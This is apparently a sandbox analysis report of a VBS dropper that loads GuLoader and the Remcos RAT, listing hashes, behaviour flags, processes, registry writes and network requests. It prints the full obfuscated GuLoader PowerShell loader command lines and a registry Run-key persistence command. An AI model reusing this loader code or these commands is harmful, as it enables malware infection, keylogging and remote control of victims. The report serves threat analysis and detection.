File name:

DonghwanPOGM210820242020032108174KR18190824pu.vbs

Full analysis: https://app.any.run/tasks/4856352f-e120-40a0-8c8c-3732fd802990
Verdict: Malicious activity
Threats:

GuLoader is an advanced downloader written in shellcode. It’s used by criminals to distribute other malware, notably trojans, on a large scale. It’s infamous for using anti-detection and anti-analysis capabilities.

Malware Trends Tracker     >>>
Analysis date: August 21, 2024, 04:11:59
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
guloader
loader
rat
remcos
keylogger
evasion
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

3E8AC7A67DE94A6BCB1496C6CC33C937

SHA1:

A17D348702C2687982D0AA7FCD1A877446C94EEE

SHA256:

7EE0F30B98E51CDD92991F851A0CBABE3289478579DB8559632C1D5389FE8B22

SSDEEP:

3072:gjGO63YDSdYB51Gy/ABuIWHwxoH0sHXaHb0bIkNTEx29OjmnA8cw:IGO63WSdYB51Gy/quNHwaHdHqHb0bIkt

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • GULOADER has been detected

      • powershell.exe (PID: 6736)
      • powershell.exe (PID: 6400)

    • Changes the autorun value in the registry

      • reg.exe (PID: 6764)

    • REMCOS has been detected

      • wab.exe (PID: 6452)

    • REMCOS has been detected (SURICATA)

      • wab.exe (PID: 6452)

    • Connects to the CnC server

      • wab.exe (PID: 6452)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 6736)
      • powershell.exe (PID: 6400)
      • wab.exe (PID: 6452)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 6612)
      • powershell.exe (PID: 6736)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 6612)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 6736)
      • powershell.exe (PID: 6400)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6736)
      • powershell.exe (PID: 6400)

    • Reads security settings of Internet Explorer

      • wab.exe (PID: 6452)

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 6400)

    • Checks Windows Trust Settings

      • wab.exe (PID: 6452)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 6264)

    • Reads the date of Windows installation

      • wab.exe (PID: 6452)

    • Writes files like Keylogger logs

      • wab.exe (PID: 6452)

    • Connects to unusual port

      • wab.exe (PID: 6452)

    • Contacting a server suspected of hosting an CnC

      • wab.exe (PID: 6452)

    • Checks for external IP

      • wab.exe (PID: 6452)

  • INFO

    • Creates or changes the value of an item property via Powershell

      • wscript.exe (PID: 6612)
      • powershell.exe (PID: 6736)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6736)
      • powershell.exe (PID: 6400)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 6736)
      • powershell.exe (PID: 6400)

    • Disables trace logs

      • powershell.exe (PID: 6736)

    • Checks proxy server information

      • powershell.exe (PID: 6736)
      • wab.exe (PID: 6452)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 6736)
      • powershell.exe (PID: 6400)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6400)

    • Reads the computer name

      • wab.exe (PID: 6452)

    • Checks supported languages

      • wab.exe (PID: 6452)

    • Process checks computer location settings

      • wab.exe (PID: 6452)

    • Reads the machine GUID from the registry

      • wab.exe (PID: 6452)

    • Reads the software policy settings

      • wab.exe (PID: 6452)

    • Creates files or folders in the user directory

      • wab.exe (PID: 6452)

    • Reads Environment values

      • wab.exe (PID: 6452)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
144
Monitored processes
11
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start wscript.exe no specs #GULOADER powershell.exe conhost.exe no specs cmd.exe no specs #GULOADER powershell.exe no specs cmd.exe no specs #REMCOS wab.exe cmd.exe no specs conhost.exe no specs reg.exe svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
2256C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
6224\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6264"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Conjoined" /t REG_EXPAND_SZ /d "%Misclassifies% -w 1 $Turtelduens=(Get-ItemProperty -Path 'HKCU:\Phototactically\').Kulturgeografi;%Misclassifies% ($Turtelduens)"C:\Windows\SysWOW64\cmd.exe—wab.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
6400"C:\WINDOWS\syswow64\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentCulture) {$Vee='SUBsTR';$Predepreciated++;}$Vee+='ing';Function Scalopus($Whitesark){$Tonn208=$Whitesark.Length-$Predepreciated;For( $Koloritterne=2;$Koloritterne -lt $Tonn208;$Koloritterne+=3){$Fremsat+=$Whitesark.$Vee.'Invoke'( $Koloritterne, $Predepreciated);}$Fremsat;}function Grafiksystemer($Koloritternesbryderne){ . ($Voterende) ($Koloritternesbryderne);}$Bredlrred207=Scalopus '.oM o Bzp,iTel .lEma o/Pe5Ro.Co0Sk At(CoWG,i NnNudSpoFowBesFo ,dN,iTRi S.1 a0 A..g0To; U NoW iCun.a6Ap4Kv; A OvxL,6Be4Mi;Ud .or Bv M:B,1Is2Do1Re.Pe0Sy)Sa TrGBieG.c DkPao,o/ e2Ch0So1B,0 r0No1 E0 u1 , TvF hiSer VeCifPyoAfxEf/S.1ha2Bd1D,.Mi0.e ';$Chartringernes=Scalopus ' kUFosPre RrSt-ApAE gFoeFrnR.t,r ';$Straffelovenes=Scalopus ' ShMitKot epG sSa:Re/s,/CaiPobBrbCuc Mo .. oc ,oB.mE,.Krs IaPr/ wT.pEn-FoaM,dEsmDii.anRi/ReiP.nJucRelSuuBad se,e/ DL Sd Fe srK bInr yM,n Uj .e,ks i. Bp TfInbIn>IshFot.rt SpAm:,h/Ra/.ucL,pF a,anAfeT,lco- aRadFrmF i MnHyhDeoFrsExtRe.kacFaod.mC,/SbLDidS eTarI,b.or Ty ,nKhjOue ssh,.Lap RfSab ';$Wench=Scalopus 'Ha>Ma ';$Voterende=Scalopus ' i peSixB, ';$Preternotorious='Dekorerede';$tarsadenitis = Scalopus 'k.ecocMih ,oFa .h%S,aRop GpRed caMetk.aBe%St\FoF eoMarComIma tTeiP,vEk.NeUThnM p k .&Un&Ni Tpe IcMrhfaoIn Pt i ';Grafiksystemer (Scalopus 'Ga$.ig,alDioGubSoaH l .: bU .nNes leFjpfia ,rKiabrbSylFleTynK,e.lsSms e=.i( acupm Dd . e/Bec.p a$SptHaazir sSla SdMee.enL,iMitHri,psbo)si ');Grafiksystemer (Scalopus '.x$DagEllNao rbKraPrl M:H.LHou ixSauUlrC,iDio Du,es.a=,a$ uSMot.er Pa lfSlfLae SlAfovovMieTanE ePes D.,rsM.pUnl,ri tMi( n$AnWPaeFjnU,c hPr) n ');Grafiksystemer (Scalopus ',o[StN BedutAu.FiSf.eKurMnv.oistcN eEfPTmoJai.enR.tMeM Ta enNuaS,g.reZ rS,] L:I,:TrSskeRec .uSarFoiSttUtyBaPUnr,yo t OoEncHjoLel v = D Pr[GpND ehet.o.FaSN,eGucEfuGrrCriA,t.iy PCurRhoV t oUnc.mo Gl oTUlyBapMaeT ]Pr: : NTUdl osL,1Q 2Se ');$Straffelovenes=$Luxurious[0];$Alkoves= (Scalopus 'Sa$F.g ulTeoRabGraSelSp:.nB aeTenTatTai.yn Ha.y=h,N QeA wOr-faO Ab Kj aeTecBrt M SrSOvy .s LtBieE m ..yaN .eU.t b..dWSoe FbHaCS,lU.iBee BnOvt');$Alkoves+=$Unseparableness[1];Grafiksystemer ($Alkoves);Grafiksystemer (Scalopus ' H$H BDyeM,nSutT iCanTiaBa.VvHHoeBaa BdTre.er nsGo[Un$ubCCihBeaSarFot rR iF nP gE,eVrrPenM eKosV,]Ln=M $ DB orRee,adS,lDkra r eeS,dBu2Ub0Au7Su ');$sterigma=Scalopus 'Ku$KrB FeSun St iO,nT,a,o.O,DKoo ewlsnR.l ro.aaSidHoFHeifalUieHy(Em$ SSMitD r TaVsfnefMaeHulEnoEnvObeNonCre isp , .$P.BCoaBegSesSktduv .nLisAc)Fo ';$Bagstvns=$Unseparableness[0];Grafiksystemer (Scalopus ',a$S,gEfl BoS,bOsa SlTa:BeRF oGyoKutAmw uaBrrPrdPo=Ha(AnT KeDasAdt F- .PDeaV,tB,h F Dr$OpBYaaV g gsAntEmvFunF s,o)Sm ');while (!$Rootward) {Grafiksystemer (Scalopus 'No$ .gLel UoStbTwa.ul P: vbAraE,s Ri.tfV.iGietydka=M.$J tLorC,uA eNa ') ;Grafiksystemer $sterigma;Grafiksystemer (Scalopus '.eSNatSkaUpr.ntBu- .S Gl ee ieVkp D4A, ');Grafiksystemer (Scalopus 'Al$ .gC l SoPab.ka Ll E:BiRM,oApoCot sw.iaErrS.dAp= r(DoTree,ls tUn-AfPNaa.lt h R G $,kBVaa.igOvs BtCovMunUls a) d ') ;Grafiksystemer (Scalopus 'De$T,gRelBeo Sb BaUnl B:B.MDiyPnr,yiRuorus HcC oDop ne o=Fo$NogYolSpo CbPraLyl.l:FrGP,eDinS,sFukEka,eb.reBillusTre on,isTa+Po+Pe%Co$MoL ouUnxM,u ormeip.o SuInsVa.C,cFlo ,uKun.it S ') ;$Straffelovenes=$Luxurious[$Myrioscope];}$Unconsulting=367466;$margenindstilling=26612;Grafiksystemer (Scalopus ' b$TrgW.lSyo DbCoaDil : JFAal UiKrta tEneTrrSteMedUp F,= SG.oe.rtHa-SgC RoFrn ,t EeVan,nt , P$.nB.oaRog,esBatFyvHun Csst ');Grafiksystemer (Scalopus 'To$LigGrlDeoI,bAbaPalGt:P,U,cn FgUvsBekFuuRoe .sEs Vl=I, B,[,nSw.yPss FtBaeSam e.MeCReoR n ,v elor Rt,i]Se:Un:S.FDarSto.rmKoB ,aP sEfeEg6Ho4ReSR.tInrPsiPan ,g ,(L,$muFkal.ai.utH t .ePrr Ie.ydBl)Un ');Grafiksystemer (Scalopus 'tr$ KgBil aoSob,oa olEm:kaGPao dr ei ClGal SoDeiLidK, Un=hy e[.uSSvy VsSet teS.mFo.inTPae xP.tfa. HERonlicTao,id BiI.n SgPr] u: O:AiAA.SclC .ITaINe.IsGgee .tC SuntS,r LiInn,igMe( P$ UUdncogI.sBokSau kenosCh)H, ');Grafiksystemer (Scalopus 'En$Sog Gl CoEnbGra Bl,i:PrCGaoI,r.ld da.einot,fe.as,p=B.$ FG .oMorLniInlUnl,roU,i,ld K.BlsEruDeb,ss otTar.liFlnIngFl( K$.tU.nnB cNeo nfls Bu PlK,tPsiZonM gPa,Ti$BamKoaSur OgEle PnSki,anD.d,us t.eiS.lF,lCoi fnSpgL )Im ');Grafiksystemer $Cordaites;"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
6452"C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Contacts
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshtml.dll
c:\program files (x86)\windows mail\wab.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
6612"C:\WINDOWS\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\DonghwanPOGM210820242020032108174KR18190824pu.vbsC:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6712"C:\WINDOWS\system32\cmd.exe" /c "echo %appdata%\Formativ.Unp && echo t"C:\Windows\SysWOW64\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
6736"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentCulture) {$Vee='SUBsTR';$Predepreciated++;}$Vee+='ing';Function Scalopus($Whitesark){$Tonn208=$Whitesark.Length-$Predepreciated;For( $Koloritterne=2;$Koloritterne -lt $Tonn208;$Koloritterne+=3){$Fremsat+=$Whitesark.$Vee.'Invoke'( $Koloritterne, $Predepreciated);}$Fremsat;}function Grafiksystemer($Koloritternesbryderne){ . ($Voterende) ($Koloritternesbryderne);}$Bredlrred207=Scalopus '.oM o Bzp,iTel .lEma o/Pe5Ro.Co0Sk At(CoWG,i NnNudSpoFowBesFo ,dN,iTRi S.1 a0 A..g0To; U NoW iCun.a6Ap4Kv; A OvxL,6Be4Mi;Ud .or Bv M:B,1Is2Do1Re.Pe0Sy)Sa TrGBieG.c DkPao,o/ e2Ch0So1B,0 r0No1 E0 u1 , TvF hiSer VeCifPyoAfxEf/S.1ha2Bd1D,.Mi0.e ';$Chartringernes=Scalopus ' kUFosPre RrSt-ApAE gFoeFrnR.t,r ';$Straffelovenes=Scalopus ' ShMitKot epG sSa:Re/s,/CaiPobBrbCuc Mo .. oc ,oB.mE,.Krs IaPr/ wT.pEn-FoaM,dEsmDii.anRi/ReiP.nJucRelSuuBad se,e/ DL Sd Fe srK bInr yM,n Uj .e,ks i. Bp TfInbIn>IshFot.rt SpAm:,h/Ra/.ucL,pF a,anAfeT,lco- aRadFrmF i MnHyhDeoFrsExtRe.kacFaod.mC,/SbLDidS eTarI,b.or Ty ,nKhjOue ssh,.Lap RfSab ';$Wench=Scalopus 'Ha>Ma ';$Voterende=Scalopus ' i peSixB, ';$Preternotorious='Dekorerede';$tarsadenitis = Scalopus 'k.ecocMih ,oFa .h%S,aRop GpRed caMetk.aBe%St\FoF eoMarComIma tTeiP,vEk.NeUThnM p k .&Un&Ni Tpe IcMrhfaoIn Pt i ';Grafiksystemer (Scalopus 'Ga$.ig,alDioGubSoaH l .: bU .nNes leFjpfia ,rKiabrbSylFleTynK,e.lsSms e=.i( acupm Dd . e/Bec.p a$SptHaazir sSla SdMee.enL,iMitHri,psbo)si ');Grafiksystemer (Scalopus '.x$DagEllNao rbKraPrl M:H.LHou ixSauUlrC,iDio Du,es.a=,a$ uSMot.er Pa lfSlfLae SlAfovovMieTanE ePes D.,rsM.pUnl,ri tMi( n$AnWPaeFjnU,c hPr) n ');Grafiksystemer (Scalopus ',o[StN BedutAu.FiSf.eKurMnv.oistcN eEfPTmoJai.enR.tMeM Ta enNuaS,g.reZ rS,] L:I,:TrSskeRec .uSarFoiSttUtyBaPUnr,yo t OoEncHjoLel v = D Pr[GpND ehet.o.FaSN,eGucEfuGrrCriA,t.iy PCurRhoV t oUnc.mo Gl oTUlyBapMaeT ]Pr: : NTUdl osL,1Q 2Se ');$Straffelovenes=$Luxurious[0];$Alkoves= (Scalopus 'Sa$F.g ulTeoRabGraSelSp:.nB aeTenTatTai.yn Ha.y=h,N QeA wOr-faO Ab Kj aeTecBrt M SrSOvy .s LtBieE m ..yaN .eU.t b..dWSoe FbHaCS,lU.iBee BnOvt');$Alkoves+=$Unseparableness[1];Grafiksystemer ($Alkoves);Grafiksystemer (Scalopus ' H$H BDyeM,nSutT iCanTiaBa.VvHHoeBaa BdTre.er nsGo[Un$ubCCihBeaSarFot rR iF nP gE,eVrrPenM eKosV,]Ln=M $ DB orRee,adS,lDkra r eeS,dBu2Ub0Au7Su ');$sterigma=Scalopus 'Ku$KrB FeSun St iO,nT,a,o.O,DKoo ewlsnR.l ro.aaSidHoFHeifalUieHy(Em$ SSMitD r TaVsfnefMaeHulEnoEnvObeNonCre isp , .$P.BCoaBegSesSktduv .nLisAc)Fo ';$Bagstvns=$Unseparableness[0];Grafiksystemer (Scalopus ',a$S,gEfl BoS,bOsa SlTa:BeRF oGyoKutAmw uaBrrPrdPo=Ha(AnT KeDasAdt F- .PDeaV,tB,h F Dr$OpBYaaV g gsAntEmvFunF s,o)Sm ');while (!$Rootward) {Grafiksystemer (Scalopus 'No$ .gLel UoStbTwa.ul P: vbAraE,s Ri.tfV.iGietydka=M.$J tLorC,uA eNa ') ;Grafiksystemer $sterigma;Grafiksystemer (Scalopus '.eSNatSkaUpr.ntBu- .S Gl ee ieVkp D4A, ');Grafiksystemer (Scalopus 'Al$ .gC l SoPab.ka Ll E:BiRM,oApoCot sw.iaErrS.dAp= r(DoTree,ls tUn-AfPNaa.lt h R G $,kBVaa.igOvs BtCovMunUls a) d ') ;Grafiksystemer (Scalopus 'De$T,gRelBeo Sb BaUnl B:B.MDiyPnr,yiRuorus HcC oDop ne o=Fo$NogYolSpo CbPraLyl.l:FrGP,eDinS,sFukEka,eb.reBillusTre on,isTa+Po+Pe%Co$MoL ouUnxM,u ormeip.o SuInsVa.C,cFlo ,uKun.it S ') ;$Straffelovenes=$Luxurious[$Myrioscope];}$Unconsulting=367466;$margenindstilling=26612;Grafiksystemer (Scalopus ' b$TrgW.lSyo DbCoaDil : JFAal UiKrta tEneTrrSteMedUp F,= SG.oe.rtHa-SgC RoFrn ,t EeVan,nt , P$.nB.oaRog,esBatFyvHun Csst ');Grafiksystemer (Scalopus 'To$LigGrlDeoI,bAbaPalGt:P,U,cn FgUvsBekFuuRoe .sEs Vl=I, B,[,nSw.yPss FtBaeSam e.MeCReoR n ,v elor Rt,i]Se:Un:S.FDarSto.rmKoB ,aP sEfeEg6Ho4ReSR.tInrPsiPan ,g ,(L,$muFkal.ai.utH t .ePrr Ie.ydBl)Un ');Grafiksystemer (Scalopus 'tr$ KgBil aoSob,oa olEm:kaGPao dr ei ClGal SoDeiLidK, Un=hy e[.uSSvy VsSet teS.mFo.inTPae xP.tfa. HERonlicTao,id BiI.n SgPr] u: O:AiAA.SclC .ITaINe.IsGgee .tC SuntS,r LiInn,igMe( P$ UUdncogI.sBokSau kenosCh)H, ');Grafiksystemer (Scalopus 'En$Sog Gl CoEnbGra Bl,i:PrCGaoI,r.ld da.einot,fe.as,p=B.$ FG .oMorLniInlUnl,roU,i,ld K.BlsEruDeb,ss otTar.liFlnIngFl( K$.tU.nnB cNeo nfls Bu PlK,tPsiZonM gPa,Ti$BamKoaSur OgEle PnSki,anD.d,us t.eiS.lF,lCoi fnSpgL )Im ');Grafiksystemer $Cordaites;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6744\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6764REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Conjoined" /t REG_EXPAND_SZ /d "%Misclassifies% -w 1 $Turtelduens=(Get-ItemProperty -Path 'HKCU:\Phototactically\').Kulturgeografi;%Misclassifies% ($Turtelduens)"C:\Windows\SysWOW64\reg.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Registry Console Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\advapi32.dll
Total events
17 300
Read events
17 261
Write events
39
Delete events
0

Modification events

(PID) Process:(6612) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6612) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6612) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6612) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(6736) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6736) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(6736) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(6736) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(6736) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(6736) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
Executable files
0
Suspicious files
6
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
6736powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3nucojy0.0ud.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6400powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_p1ns41tm.u4q.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6736powershell.exeC:\Users\admin\AppData\Roaming\Formativ.Unptext
MD5:C606F5D84495E3FA8CA01D274B275CE3
SHA256:B624B0ED0561A46FE5947D2D50DBEDF4056E57CE805EAF47212EA54AF429DD44
6400powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4xotr1hs.i5v.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6400powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:8E7D26D71A1CAF822C338431F0651251
SHA256:495E7C4588626236C39124CCE568968E874BEDA950319BA391665B43DE111084
6736powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_noaotr1j.1iy.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6452wab.exeC:\Users\admin\AppData\Roaming\sfvnspt.datbinary
MD5:8E6D925D2379B649D2EC6B546B939AA5
SHA256:4C2FD0A6DE4988A308AE4421ACE6B420259C26E5E5918D26F99857CEA23BA43A
6452wab.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDAder
MD5:35E9855AC3C0549EC98A10A9A47D8F9B
SHA256:875C39908AF82D9DF8A1E0F38CE2D8C0C3C019925A89FE4047E7CDE43951B44F
6452wab.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDAbinary
MD5:A35719002929824F3B80EE1DF4EF1247
SHA256:46F58A0DFD855764ABF8330C475144D43A8DF017FEB1E81CAA4C1CC0F0E56CA7
6736powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:AAC442466B05029ABB85EAF09179BABB
SHA256:0AB38B1420197A47613F6EC62E37AC38F87EF130C64714C1A9A42EA9BA90FBB7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
35
DNS requests
19
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
7132
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
5500
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
5048
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6452
wab.exe
GET
200
178.237.33.50:80
